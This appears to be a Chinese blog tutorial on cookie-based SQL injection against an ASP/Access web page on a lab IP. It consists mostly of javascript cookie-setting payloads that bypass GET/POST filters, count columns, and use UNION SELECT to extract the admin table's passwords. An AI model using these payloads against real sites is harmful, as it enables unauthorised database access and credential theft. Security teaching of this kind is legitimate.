Cookie注入

Cookie注入

以ACCESS数据库为例;其他数据库用相应的注入语句就可以

Cookie注入的目的

主要是为了绕过程序员在get、post等传参处做的一些过滤。

如何Cookie注入

目标站点:
192.168.74.136:8009/shownews.asp?id=26
在进行get注入时发现过滤关键字,尝试Cookie注入

  1. 刷新需要注入的当前网页,清空地址栏并输入
javascript:alert(document.cookie="id="+escape("27"));

  1. 点击回车,发现弹窗如下:

  2. 点击页面上出现的确定框。    

  3. 验证是否改好了cookie:
    现在更改好了cookie后我们就要试下能不能正常访问了,现在在另外一个窗口中我们打开以下地址:
    http://192.168.74.136:8009/shownews.asp?
    既是将“id=27”去掉后的URL,然后看是否能正常访问。

  4. 可见访问之后的页面与访问 http://192.168.74.136:8009/shownews.asp?id=27 的时候是一样的,这样就说明程序在使用request对象获取数据的时候并未指明具体使用什么方法来获取,而是直接使用request("xx")的方式。现在说明cookie处是有可能存在注入的,接下来我们测试下能否提交特殊字符,看程序是否对数据进行过滤。

判断是否存在过滤

回到刚才更改cookie的页面,然后在地址栏处填写

javascript:alert(document.cookie="id="+escape("27 and 1=1")); 

回车后再去http://192.168.74.136:8009/shownews.asp?页面刷新,看页面是否正常。
如果正常我们再提交

javascript:alert(document.cookie="id="+escape("27 and 1=2")); 

然后再去刷新,这个时候就会看见出错了,说明可以注入,且不存在过滤。

获取字段总数

javascript:alert(document.cookie="id="+escape("27 order by 1"));  
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回正常

javascript:alert(document.cookie="id="+escape("27 order by 11"));
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回正常

javascript:alert(document.cookie="id="+escape("27 order by 12"));
刷新 http://192.168.74.136:8009/shownews.asp?  界面 ,返回错误
说明字段数是 11

猜解表名

javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from 表名"));

javascript:alert(document.cookie="id="+escape("27 union select 1,2,3,4,5,6,7,8,9,10,11 from admin"));

猜解列名

javascript:alert(document.cookie="id="+escape("27 union select 1,列名,3,4,5,6,7,8,9,10,11 from 表名"));

javascript:alert(document.cookie="id="+escape("27 union select 1,password,3,4,5,6,7,8,9,10,11 from admin"));
posted @ 2020-04-10 22:25  Zane_S  阅读(293)  评论(0编辑  收藏